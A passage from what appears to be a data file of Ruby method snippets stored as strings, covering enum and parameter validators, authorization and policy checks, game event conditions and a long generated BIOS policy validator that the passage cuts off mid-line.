\"America/Guayaquil\", \"America/Havana\", \"America/Iqaluit\", \"America/Jamaica\", \"America/Lima\", \"America/Nassau\", \"America/New_York\", \"America/Panama\", \"America/Port-au-Prince\", \"America/Rio_Branco\", \"America/Toronto\", \"Pacific/Easter\", \"America/Caracas\", \"America/Asuncion\", \"America/Barbados\", \"America/Boa_Vista\", \"America/Campo_Grande\", \"America/Cuiaba\", \"America/Curacao\", \"America/Grand_Turk\", \"America/Guyana\", \"America/Halifax\", \"America/La_Paz\", \"America/Manaus\", \"America/Martinique\", \"America/Port_of_Spain\", \"America/Porto_Velho\", \"America/Puerto_Rico\", \"America/Santo_Domingo\", \"America/Thule\", \"Atlantic/Bermuda\", \"America/St_Johns\", \"America/Araguaina\", \"America/Argentina/Buenos_Aires\", \"America/Bahia\", \"America/Belem\", \"America/Cayenne\", \"America/Fortaleza\", \"America/Godthab\", \"America/Maceio\", \"America/Miquelon\", \"America/Montevideo\", \"America/Paramaribo\", \"America/Recife\", \"America/Santiago\", \"America/Sao_Paulo\", \"Antarctica/Palmer\", \"Antarctica/Rothera\", \"Atlantic/Stanley\", \"America/Noronha\", \"Atlantic/South_Georgia\", \"America/Scoresbysund\", \"Atlantic/Azores\", \"Atlantic/Cape_Verde\", \"Africa/Abidjan\", \"Africa/Accra\", \"Africa/Bissau\", \"Africa/Casablanca\", \"Africa/El_Aaiun\", \"Africa/Monrovia\", \"America/Danmarkshavn\", \"Atlantic/Canary\", \"Atlantic/Faroe\", \"Atlantic/Reykjavik\", \"Etc/GMT\", \"Europe/Dublin\", \"Europe/Lisbon\", \"Europe/London\", \"Africa/Algiers\", \"Africa/Ceuta\", \"Africa/Lagos\", \"Africa/Ndjamena\", \"Africa/Tunis\", \"Africa/Windhoek\", \"Europe/Amsterdam\", \"Europe/Andorra\", \"Europe/Belgrade\", \"Europe/Berlin\", \"Europe/Brussels\", \"Europe/Budapest\", \"Europe/Copenhagen\", \"Europe/Gibraltar\", \"Europe/Luxembourg\", \"Europe/Madrid\", \"Europe/Malta\", \"Europe/Monaco\", \"Europe/Oslo\", \"Europe/Paris\", \"Europe/Prague\", \"Europe/Rome\", \"Europe/Stockholm\", \"Europe/Tirane\", \"Europe/Vienna\", \"Europe/Warsaw\", \"Europe/Zurich\", \"Africa/Cairo\", \"Africa/Johannesburg\", \"Africa/Maputo\", \"Africa/Tripoli\", \"Asia/Amman\", \"Asia/Beirut\", \"Asia/Damascus\", \"Asia/Gaza\", \"Asia/Jerusalem\", \"Asia/Nicosia\", \"Europe/Athens\", \"Europe/Bucharest\", \"Europe/Chisinau\", \"Europe/Helsinki\", \"Europe/Istanbul\", \"Europe/Kaliningrad\", \"Europe/Kiev\", \"Europe/Riga\", \"Europe/Sofia\", \"Europe/Tallinn\", \"Europe/Vilnius\", \"Africa/Khartoum\", \"Africa/Nairobi\", \"Antarctica/Syowa\", \"Asia/Baghdad\", \"Asia/Qatar\", \"Asia/Riyadh\", \"Europe/Minsk\", \"Europe/Moscow\", \"Asia/Tehran\", \"Asia/Baku\", \"Asia/Dubai\", \"Asia/Tbilisi\", \"Asia/Yerevan\", \"Europe/Samara\", \"Indian/Mahe\", \"Indian/Mauritius\", \"Indian/Reunion\", \"Asia/Kabul\", \"Antarctica/Mawson\", \"Asia/Aqtau\", \"Asia/Aqtobe\", \"Asia/Ashgabat\", \"Asia/Dushanbe\", \"Asia/Karachi\", \"Asia/Tashkent\", \"Asia/Yekaterinburg\", \"Indian/Kerguelen\", \"Indian/Maldives\", \"Asia/Calcutta\", \"Asia/Kolkata\", \"Asia/Colombo\", \"Asia/Katmandu\", \"Antarctica/Vostok\", \"Asia/Almaty\", \"Asia/Bishkek\", \"Asia/Dhaka\", \"Asia/Omsk\", \"Asia/Thimphu\", \"Indian/Chagos\", \"Asia/Rangoon\", \"Indian/Cocos\", \"Antarctica/Davis\", \"Asia/Bangkok\", \"Asia/Hovd\", \"Asia/Jakarta\", \"Asia/Krasnoyarsk\", \"Asia/Saigon\", \"Indian/Christmas\", \"Antarctica/Casey\", \"Asia/Brunei\", \"Asia/Choibalsan\", \"Asia/Hong_Kong\", \"Asia/Irkutsk\", \"Asia/Kuala_Lumpur\", \"Asia/Macau\", \"Asia/Makassar\", \"Asia/Manila\", \"Asia/Shanghai\", \"Asia/Singapore\", \"Asia/Taipei\", \"Asia/Ulaanbaatar\", \"Australia/Perth\", \"Asia/Pyongyang\", \"Asia/Dili\", \"Asia/Jayapura\", \"Asia/Seoul\", \"Asia/Tokyo\", \"Asia/Yakutsk\", \"Pacific/Palau\", \"Australia/Adelaide\", \"Australia/Darwin\", \"Antarctica/DumontDUrville\", \"Asia/Magadan\", \"Asia/Vladivostok\", \"Australia/Brisbane\", \"Australia/Hobart\", \"Australia/Sydney\", \"Pacific/Chuuk\", \"Pacific/Guam\", \"Pacific/Port_Moresby\", \"Pacific/Efate\", \"Pacific/Guadalcanal\", \"Pacific/Kosrae\", \"Pacific/Norfolk\", \"Pacific/Noumea\", \"Pacific/Pohnpei\", \"Asia/Kamchatka\", \"Pacific/Auckland\", \"Pacific/Fiji\", \"Pacific/Funafuti\", \"Pacific/Kwajalein\", \"Pacific/Majuro\", \"Pacific/Nauru\", \"Pacific/Tarawa\", \"Pacific/Wake\", \"Pacific/Wallis\", \"Pacific/Apia\", \"Pacific/Enderbury\", \"Pacific/Fakaofo\", \"Pacific/Tongatapu\", \"Pacific/Kiritimati\"])\n return false unless timezone_validator.valid?(@timezone)\n true\n end",
"def check_cache(policies, key)\n already_run = []\n policies.each do |p|\n cached_result = policy_cache[p][key]\n if cached_result # return if it passed\n return true \n else \n # Reject the policy from the policies if it's false, i.e. previously failed\n already_run << p unless cached_result.nil?\n end \n end\n already_run\n end",
"def valid_opts\n true\n end",
"def applies?(sampling_req)\n return false if sampling_req.nil? || sampling_req.empty?\n\n host = sampling_req[:host]\n http_method = sampling_req[:http_method]\n url_path = sampling_req[:url_path]\n service = sampling_req[:service]\n\n host_match = !host || SearchPattern.wildcard_match?(pattern: @host, text: host)\n path_match = !url_path || SearchPattern.wildcard_match?(pattern: @path, text: url_path)\n method_match = !http_method || SearchPattern.wildcard_match?(pattern: @method, text: http_method)\n service_match = !service || SearchPattern.wildcard_match?(pattern: @service, text: service)\n\n # if sampling request contains service type we assmue\n # the origin (a.k.a AWS plugins are set and effective)\n if sampling_req.key?(:service_type)\n service_type = sampling_req[:service_type]\n service_type_match = SearchPattern.wildcard_match?(pattern: @service_type, text: service_type)\n else\n service_type_match = @service_type == '*'\n end\n host_match && path_match && method_match && service_match && service_type_match\n end",
"def applyable(table_class)\n for condition in conditions\n\treturn false unless condition.applyable(table_class)\n end\n return true\n end",
"def valid?(required_params)\n required_params.each do |p|\n return false unless @params_map.key?(p)\n end\n true\n end",
"def check_command_policy\n true\n end",
"def allowed?(*_)\n true\n end",
"def conditions_met?\n class_name = SceneManager.scene.class.name.to_sym\n return false unless scene_whitelist.empty? || scene_whitelist.include?(class_name)\n return false if scene_blacklist.include?(class_name)\n return false unless $game_switches[@event.switch_id]\n return true\n end",
"def allow?(*args)\n true\n end",
"def request_should_auth?( request )\n\t\tself.log.debug \"Checking to see if Auth(entication/orization) should be applied for app_path: %p\" %\n\t\t\t[ request.app_path ]\n\n\t\t# If there are positive criteria, return true if the request matches any of them,\n\t\t# or false if they don't\n\t\tif self.class.has_positive_auth_criteria?\n\t\t\tcriteria = self.class.positive_auth_criteria\n\t\t\tself.log.debug \" checking %d positive auth criteria\" % [ criteria.length ]\n\t\t\treturn criteria.any? do |pattern, block|\n\t\t\t\tself.request_matches_criteria( request, pattern, &block )\n\t\t\tend\n\t\t\treturn false\n\n\t\t# If there are negative criteria, return false if the request matches any of them,\n\t\t# or true if they don't\n\t\telsif self.class.has_negative_auth_criteria?\n\t\t\tcriteria = self.class.negative_auth_criteria\n\t\t\tself.log.debug \" checking %d negative auth criteria\" % [ criteria.length ]\n\t\t\treturn false if criteria.any? do |pattern, block|\n\t\t\t\trval = self.request_matches_criteria( request, pattern, &block )\n\t\t\t\tself.log.debug \" matched: %p -> %p\" % [ pattern, block ] if rval\n\t\t\t\trval\n\t\t\tend\n\t\t\treturn true\n\n\t\telse\n\t\t\tself.log.debug \" no auth criteria; default to requiring auth\"\n\t\t\treturn true\n\t\tend\n\tend",
"def check_required_scope_args(scope, params)\n # make sure we have a hash and it has values\n return false unless params.is_a?(Hash) && params.present?\n # find required values\n required = scope.select{ |k,v| v.to_sym == :req }.keys\n # make sure we have all of the required values, we allow false\n required.all? { |key|\n params[key].present? || params[key] == false\n }\n end",
"def permitted?(_client, _data, _match)\n true\n end",
"def param_checker?(v)\n v.is_a?(Class) && v.new.is_a?(ParamChecker)\n end",
"def validate_options(options, klass)\n raise(ArgumentError, \"Options cannot be \" + options.class.name) unless options.is_a?(klass) || options.is_a?(Hash)\n options.is_a?(Glassfrog::Base) ? options.hashify : options\n end",
"def valid?\n policy_validator = EnumAttributeValidator.new('Object', ['RMF', 'DIACAP', 'Reporting'])\n return false unless policy_validator.valid?(@policy)\n registration_type_validator = EnumAttributeValidator.new('Object', ['Assess and Authorize', 'Assess Only', 'Guest', 'Regular', 'Functional', 'Cloud Service Provider'])\n return false unless registration_type_validator.valid?(@registration_type)\n organization_name_validator = EnumAttributeValidator.new('Object', ['Army', 'Navy', 'Air Force', 'Marines', 'DoD', 'Defense Information Systems Agency'])\n return false unless organization_name_validator.valid?(@organization_name)\n system_type_validator = EnumAttributeValidator.new('Object', ['IS Major Application', 'IS Enclave', 'Platform IT', 'Platform IT System', 'Interconnection', 'AIS Application'])\n return false unless system_type_validator.valid?(@system_type)\n authorization_status_validator = EnumAttributeValidator.new('Object', ['Authority to Operate (ATO)', 'Interim Authority to Operate (IATO)', 'Interim Authority to Test (IATT)', 'Authority to Operate with Conditions (ATO) w/Conditions)', 'Denied Authority to Operate (DATO)', 'Not Yet Authorized', 'Unaccredited', 'Decommissioned'])\n return false unless authorization_status_validator.valid?(@authorization_status)\n confidentiality_validator = EnumAttributeValidator.new('Object', ['High', 'Moderate', 'Low'])\n return false unless confidentiality_validator.valid?(@confidentiality)\n integrity_validator = EnumAttributeValidator.new('Object', ['High', 'Moderate', 'Low'])\n return false unless integrity_validator.valid?(@integrity)\n availability_validator = EnumAttributeValidator.new('Object', ['High', 'Moderate', 'Low'])\n return false unless availability_validator.valid?(@availability)\n mac_validator = EnumAttributeValidator.new('Object', ['I', 'II', 'III'])\n return false unless mac_validator.valid?(@mac)\n dod_confidentiality_validator = EnumAttributeValidator.new('Object', ['Public', 'Sensitive', 'Classified'])\n return false unless dod_confidentiality_validator.valid?(@dod_confidentiality)\n true\n end",
"def check(params)\n false\n end",
"def include?(rules, opts={:exact => false, :service_name => nil})\n raise PamError, 'opts must be a hash' unless opts.is_a?(Hash)\n\n service_name = get_service_name(opts[:service_name])\n\n rules = Array(rules).map{|l| Pam::Rule.new(l, {:service_name => service_name})}\n\n retval = false\n\n if opts[:exact]\n # This requires everything between the first and last rule to match\n # exactly\n\n first_entry = index(rules.first)\n last_entry = index(rules.last)\n\n if first_entry && last_entry\n retval = (self[first_entry..last_entry] == rules)\n end\n else\n # This match allows other rules between the two in question\n retval = (rules.select{|l| super(l)} == rules)\n end\n\n return retval\n end",
"def preconditions_met?\n # tracked_request.root_layer is nil for Rack apps ... unsure why.\n return false unless tracked_request.root_layer\n\n Auth.permitted?\n end",
"def mapping_is_valid?(mapping)\n # lets make sure mapping and keys exist first\n if mapping && mapping.keys.length > 0\n # Lets checks if keys are valid\n mapping.each do |key, value|\n if key && key.class == Symbol\n if (key == :mapping)\n mapping[key].each do |coin_name, coin_value|\n return false if !(coin_name &&\n ( coin_name.is_a?(Symbol) || coin_name.is_a?(String) ) &&\n coin_value &&\n coin_value.is_a?(Integer) &&\n coin_value > 0)\n end\n end\n else\n return false\n end\n end\n end\n return true\n end",
"def allowed?(key)\n @status[key] == :allowed\n end",
"def has_options?(opts = {})\n opts.each do |key, value|\n this_value = self[key.to_sym]\n return false if (this_value != value)\n end\n return true\n end",
"def run_policy(op, policy, cache, key, opts)\n target = opts[:target]\n type = (target.nil? || target.kind_of?(Class)) ? :general : :instance\n result = case target\n when Class, nil\n policy.new.general_policy(op, opts)\n else\n policy.new.instance_policy(op,target,opts)\n end\n cache_result(policy, !!result, key) if cache\n result\n end",
"def searchpolicy_is_custom?\n searchpolicy.eql?(@custom)\n end",
"def or_filters_provided?\n true\n end",
"def match?(*args)\n props = Hash === args.last ? args.pop : {}\n\n if target = args.shift\n props[:command] = target.to_s\n props[:feature] = target.to_s\n end\n\n if props[:profile]\n props[:profile] = (props[:profile] || :default).to_s\n end\n\n props.each do |k,v|\n pv = property(k)\n return false unless (pv.nil? || pv == v)\n end\n\n return true\n end",
"def compatible?(opts)\n opts == @options\n end",
"def validate_options!\n if incomplete_policyfile_options?\n ui.error(\"Policy group and name must be specified together\")\n exit 1\n end\n true\n end",
"def conditions_met?(map_id, event_id, page)\n c = page.condition\n if c.switch1_valid\n return false unless $game_switches[c.switch1_id]\n end\n if c.switch2_valid\n return false unless $game_switches[c.switch2_id]\n end\n if c.variable_valid\n return false if $game_variables[c.variable_id] < c.variable_value\n end\n if c.self_switch_valid\n key = [map_id, event_id, c.self_switch_ch]\n return false if $game_self_switches[key] != true\n end\n if c.item_valid\n item = $data_items[c.item_id]\n return false unless $game_party.has_item?(item)\n end\n if c.actor_valid\n actor = $game_actors[c.actor_id]\n return false unless $game_party.members.include?(actor)\n end\n return true\n end",
"def accept_mapped_claims\n return @accept_mapped_claims\n end",
"def need_define_class(p)\n if p.to_request && p.from_response\n cn = '{class}('\n return p.to_request.include?(cn) || p.from_response.include?(cn)\n end\n true\n end",
"def validity_policy\n -> policy_predicates, ctx {\n Fn.either.(Fn.tests.(Fn.all?, policy_predicates), Fn.success, Fn.failure ).(ctx)\n }.curry\n end",
"def have_policy_for?(app_name)\n @policies ||= Vault.sys.policies\n @policies.include?(app_name)\n end",
"def load(opts = {})\n res = self.to_condition.load\n @loaded = true\n res\n end",
"def verify_get_hint_data(params)\n params[:game].is_a?(Game) &&\n (params[:task].is_a?(Task) || params[:task_id].is_a?(String)) &&\n params[:user].is_a?(User)\n end",
"def class_check(klass)\n # Cache Symbol for operand so I'm not converting it every time.\n name = (@operand_sym ||= @operand.to_sym)\n\n while klass\n case @operator\n when :equal\n return true if self.class.extract_class_name(klass) == name\n when :not_equal\n return true unless self.class.extract_class_name(klass) == name\n when :trueish # Necessarily true for classes.\n true\n else # Otherwise no test passes.\n false\n end\n klass = klass.superclass\n end\n false\n end",
"def initialize(policy = {}, opt = {})\n # set options\n @opt = Gem::Security::OPT.merge(opt)\n\n # build policy\n policy.each_pair do |key, val|\n case key\n when :verify_data then @verify_data = val\n when :verify_signer then @verify_signer = val\n when :verify_chain then @verify_chain = val\n when :verify_root then @verify_root = val\n when :only_trusted then @only_trusted = val\n when :only_signed then @only_signed = val\n end\n end\n end",
"def valid?\n location and objectclasses and ! objectclasses.empty? and puppet2ldap\n end",
"def class_condition_met?(action)\n cls = self.class\n return true unless cls\n learning = cls.learnings.detect {|learning| learning.skill_id == action.skill_id }\n return true unless learning\n return false if self.level < learning.level\n return true\n end",
"def match?\n raise NotImplementedError, 'please implement #match? '\\\n \"for #{self.class.name} which should return true or false, \"\\\n 'depending on if it can decide #allowed?'\n end",
"def validate_opts(opts)\n e = Exceptions::InvalidOptions\n raise(e, 'Is not Hash-like') unless opts.respond_to?(:[]) && opts.respond_to?(:key?)\n\n validate_server(opts[:server])\n if opts.key?(:base_uri)\n begin\n URI.parse(opts[:base_uri])\n rescue URI::InvalidURIError => e\n raise(e, \"Invalid base_uri: #{e}\")\n end\n end\n\n validate_creds(opts, e)\n true\n end",
"def check_params(params)\n\n\t\tself.assign_attributes(params)\n\t\tself.check\n\t\treturn false unless @valid\n\t\treturn self\n\tend",
"def desired?(opt)\n st = @wopts[opt]\n st = false if st.nil?\n st\n end",
"def vash_valid_key?(x); self.class.option_name?(x); end",
"def any(*policies)\n clazz = Class.new(Walruz::Policy) do # :nodoc:\n extend PolicyCompositionHelper\n \n def authorized?(actor, subject) # :nodoc:\n result = nil\n self.class.policies.detect do |policy|\n result = policy.new.set_params(params).safe_authorized?(actor, subject)\n result[0]\n end\n result[0] ? result : result[0]\n end\n \n end\n clazz.policies = policies\n clazz\n end",
"def check_whitelist(spark, options)\n begin\n whitelisted?(spark, options) ? true : (raise ArgumentError.new(\"Illegal argument in topic or task\"))\n rescue => e\n reject_spark spark, e\n false\n end\n end",
"def check # rubocop:disable Metrics/AbcSize, Metrics/CyclomaticComplexity, Metrics/PerceivedComplexity\n no_errors = true\n no_warnings = true\n warn = lambda { |msg|\n @logger.warn(msg)\n no_warnings = false\n }\n error = lambda { |msg|\n @logger.error(msg)\n no_warnings = no_errors = false\n }\n\n @logger.info \"Checking profile in #{@path}\"\n @logger.info 'Metadata OK.' if @metadata.valid?\n\n no_warnings = true\n if @params[:rules].empty?\n warn.call('No controls or tests were defined.')\n else\n @logger.debug \"Found #{@params[:rules].length} rules.\"\n end\n\n # iterate over hash of groups\n @params[:rules].each do |group, rules_array|\n @logger.debug \"Verify all rules in #{group}\"\n rules_array.each do |id, rule|\n next if id.start_with? '(generated '\n error.call('Avoid rules with empty IDs') if id.nil? or id.empty?\n warn.call(\"Rule #{id} has no title\") if rule[:title].to_s.empty?\n warn.call(\"Rule #{id} has no description\") if rule[:desc].to_s.empty?\n warn.call(\"Rule #{id} has impact > 1.0\") if rule[:impact].to_f > 1.0\n warn.call(\"Rule #{id} has impact < 0.0\") if rule[:impact].to_f < 0.0\n warn.call(\"Rule #{id} has no tests defined\") if rule[:checks].nil? or rule[:checks].empty?\n end\n end\n\n @logger.info 'Rule definitions OK.' if no_warnings\n no_errors\n end",
"def process_params(opts)\n #nil should default to all for most of these, use empty strings here so we can check for allowed values easily below\n defaults = { #really, they're all nil, don't need any of this\n :type => nil, #public/private/both\n :report => nil, #what contaminant to report on, nil is simply a record in the db (ie all)\n :time => nil, #defaults to all records in existence\n :operation => nil #:count, reports, histogram, cot (change over time), coverage; defaults to counts of records\n #TODO if we're really just serving data, we should probably put a max number of records...\n #also be ready for a format\n }\n \n allowed_options = { # TODO the good way to do this would be to see if we respond_to?(:operation) or it's in the table\n :type => [:public, :private, nil],\n :report => [:arsenic,:tds,:salinity,:fluoride,:iron,:tc,:fc,:ph,:hardness,nil], #:all, :date?\n :time => [nil], \n :operation => [:count, :avg, :max, :min, :histogram],\n :gt => Numeric\n }\n #convert string values of keys to symbols and then load it into defaults\n ret = defaults.merge(opts.inject({}){|hsh,(k,v)| hsh[k.to_sym] = v; hsh}) \n #TODO the below is poorly executed, there's gotta be a better way to do this\n #TODO check all the geo data to make sure it exists/it's sanitary\n #check the type\n ret[:type] = check_allowed_param(defaults[:type], allowed_options[:type], ret[:type]) \n #check the report\n ret[:report] = check_allowed_param(defaults[:report], allowed_options[:report], ret[:report])\n #check the time\n ret[:time] = check_allowed_param(defaults[:time], allowed_options[:time], ret[:time])\n #check the operation,\n ret[:operation] = check_allowed_param(defaults[:operation], allowed_options[:operation], ret[:operation])\n ret[:gt] = check_allowed_param(defaults[:gt], allowed_options[:gt], ret[:gt])\n ret\n end",
"def initialize(opts = {})\n validate_basic_constraints opts[:basic_constraints]\n validate_key_usage opts[:key_usage]\n validate_extended_key_usage opts[:extended_key_usage]\n validate_certificate_policies opts[:certificate_policies]\n validate_inhibit_any_policy opts[:inhibit_any_policy]\n validate_policy_constraints opts[:policy_constraints]\n validate_name_constraints opts[:name_constraints]\n @ocsp_no_check = (opts[:ocsp_no_check] == true or opts[:ocsp_no_check] == \"true\")?true:false\n validate_subject_item_policy opts[:subject_item_policy]\n end",
"def matches?(klass); end",
"def enforce_access_controls(opts={})\n controller_action = params[:action].to_s\n delegate_method = \"enforce_#{controller_action}_permissions\"\n if self.respond_to?(delegate_method.to_sym, true)\n self.send(delegate_method.to_sym)\n else\n true\n end\n end",
"def is_strong_password_set(handle:)\n mos = handle.query_classid(class_id: \"AaaUserPolicy\")\n if mos.size == 0\n raise ImcOperationError.new(\"Check Password Strength\", \"MO does not exist\")\n end\n return (mos[0].user_password_policy == \"enabled\")\nend",
"def validate_opts(opts)\n e = Exceptions::InvalidOptions\n raise(e, 'Is not Hash-like') unless opts.respond_to?(:[]) && opts.respond_to?(:key?)\n validate_server(opts[:server])\n if opts.key?(:base_uri)\n begin\n URI.parse(opts[:base_uri])\n rescue URI::InvalidURIError => e\n raise(e, \"Invalid base_uri: #{e}\")\n end\n end\n\n validate_creds(opts, e)\n true\n end",
"def valid?\n return false if @class_id.nil?\n class_id_validator = EnumAttributeValidator.new('String', [\"bios.Policy\"])\n return false unless class_id_validator.valid?(@class_id)\n return false if @object_type.nil?\n object_type_validator = EnumAttributeValidator.new('String', [\"bios.Policy\"])\n return false unless object_type_validator.valid?(@object_type)\n acs_control_gpu1state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless acs_control_gpu1state_validator.valid?(@acs_control_gpu1state)\n acs_control_gpu2state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless acs_control_gpu2state_validator.valid?(@acs_control_gpu2state)\n acs_control_gpu3state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless acs_control_gpu3state_validator.valid?(@acs_control_gpu3state)\n acs_control_gpu4state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless acs_control_gpu4state_validator.valid?(@acs_control_gpu4state)\n acs_control_gpu5state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless acs_control_gpu5state_validator.valid?(@acs_control_gpu5state)\n acs_control_gpu6state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless acs_control_gpu6state_validator.valid?(@acs_control_gpu6state)\n acs_control_gpu7state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless acs_control_gpu7state_validator.valid?(@acs_control_gpu7state)\n acs_control_gpu8state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless acs_control_gpu8state_validator.valid?(@acs_control_gpu8state)\n acs_control_slot11state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless acs_control_slot11state_validator.valid?(@acs_control_slot11state)\n acs_control_slot12state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless acs_control_slot12state_validator.valid?(@acs_control_slot12state)\n acs_control_slot13state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless acs_control_slot13state_validator.valid?(@acs_control_slot13state)\n acs_control_slot14state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless acs_control_slot14state_validator.valid?(@acs_control_slot14state)\n adjacent_cache_line_prefetch_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless adjacent_cache_line_prefetch_validator.valid?(@adjacent_cache_line_prefetch)\n advanced_mem_test_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"disabled\", \"enabled\"])\n return false unless advanced_mem_test_validator.valid?(@advanced_mem_test)\n all_usb_devices_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless all_usb_devices_validator.valid?(@all_usb_devices)\n altitude_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"300-m\", \"900-m\", \"1500-m\", \"3000-m\", \"auto\"])\n return false unless altitude_validator.valid?(@altitude)\n aspm_support_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"Force L0s\", \"L1 Only\"])\n return false unless aspm_support_validator.valid?(@aspm_support)\n assert_nmi_on_perr_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless assert_nmi_on_perr_validator.valid?(@assert_nmi_on_perr)\n assert_nmi_on_serr_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless assert_nmi_on_serr_validator.valid?(@assert_nmi_on_serr)\n auto_cc_state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless auto_cc_state_validator.valid?(@auto_cc_state)\n autonumous_cstate_enable_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless autonumous_cstate_enable_validator.valid?(@autonumous_cstate_enable)\n baud_rate_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"9600\", \"19200\", \"38400\", \"57600\", \"115200\"])\n return false unless baud_rate_validator.valid?(@baud_rate)\n bme_dma_mitigation_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless bme_dma_mitigation_validator.valid?(@bme_dma_mitigation)\n boot_option_num_retry_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"5\", \"13\", \"Infinite\"])\n return false unless boot_option_num_retry_validator.valid?(@boot_option_num_retry)\n boot_option_re_cool_down_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"15\", \"45\", \"90\"])\n return false unless boot_option_re_cool_down_validator.valid?(@boot_option_re_cool_down)\n boot_option_retry_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless boot_option_retry_validator.valid?(@boot_option_retry)\n boot_performance_mode_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Max Efficient\", \"Max Performance\", \"Set by Intel NM\"])\n return false unless boot_performance_mode_validator.valid?(@boot_performance_mode)\n burst_and_postponed_refresh_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless burst_and_postponed_refresh_validator.valid?(@burst_and_postponed_refresh)\n c1auto_demotion_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless c1auto_demotion_validator.valid?(@c1auto_demotion)\n c1auto_un_demotion_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless c1auto_un_demotion_validator.valid?(@c1auto_un_demotion)\n cbs_cmn_apbdis_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"0\", \"1\", \"Auto\"])\n return false unless cbs_cmn_apbdis_validator.valid?(@cbs_cmn_apbdis)\n cbs_cmn_cpu_cpb_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"disabled\"])\n return false unless cbs_cmn_cpu_cpb_validator.valid?(@cbs_cmn_cpu_cpb)\n cbs_cmn_cpu_gen_downcore_ctrl_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"FOUR (2 + 2)\", \"FOUR (4 + 0)\", \"SIX (3 + 3)\", \"THREE (3 + 0)\", \"TWO (1 + 1)\", \"TWO (2 + 0)\"])\n return false unless cbs_cmn_cpu_gen_downcore_ctrl_validator.valid?(@cbs_cmn_cpu_gen_downcore_ctrl)\n cbs_cmn_cpu_global_cstate_ctrl_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"disabled\", \"enabled\"])\n return false unless cbs_cmn_cpu_global_cstate_ctrl_validator.valid?(@cbs_cmn_cpu_global_cstate_ctrl)\n cbs_cmn_cpu_l1stream_hw_prefetcher_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"disabled\", \"enabled\"])\n return false unless cbs_cmn_cpu_l1stream_hw_prefetcher_validator.valid?(@cbs_cmn_cpu_l1stream_hw_prefetcher)\n cbs_cmn_cpu_l2stream_hw_prefetcher_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"disabled\", \"enabled\"])\n return false unless cbs_cmn_cpu_l2stream_hw_prefetcher_validator.valid?(@cbs_cmn_cpu_l2stream_hw_prefetcher)\n cbs_cmn_cpu_smee_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"disabled\", \"enabled\"])\n return false unless cbs_cmn_cpu_smee_validator.valid?(@cbs_cmn_cpu_smee)\n cbs_cmn_cpu_streaming_stores_ctrl_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"disabled\", \"enabled\"])\n return false unless cbs_cmn_cpu_streaming_stores_ctrl_validator.valid?(@cbs_cmn_cpu_streaming_stores_ctrl)\n cbs_cmn_determinism_slider_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Performance\", \"Power\"])\n return false unless cbs_cmn_determinism_slider_validator.valid?(@cbs_cmn_determinism_slider)\n cbs_cmn_efficiency_mode_en_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Enabled\"])\n return false unless cbs_cmn_efficiency_mode_en_validator.valid?(@cbs_cmn_efficiency_mode_en)\n cbs_cmn_fixed_soc_pstate_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"P0\", \"P1\", \"P2\", \"P3\"])\n return false unless cbs_cmn_fixed_soc_pstate_validator.valid?(@cbs_cmn_fixed_soc_pstate)\n cbs_cmn_gnb_nb_iommu_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"disabled\", \"enabled\"])\n return false unless cbs_cmn_gnb_nb_iommu_validator.valid?(@cbs_cmn_gnb_nb_iommu)\n cbs_cmn_gnb_smu_df_cstates_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"disabled\", \"enabled\"])\n return false unless cbs_cmn_gnb_smu_df_cstates_validator.valid?(@cbs_cmn_gnb_smu_df_cstates)\n cbs_cmn_gnb_smucppc_validator = 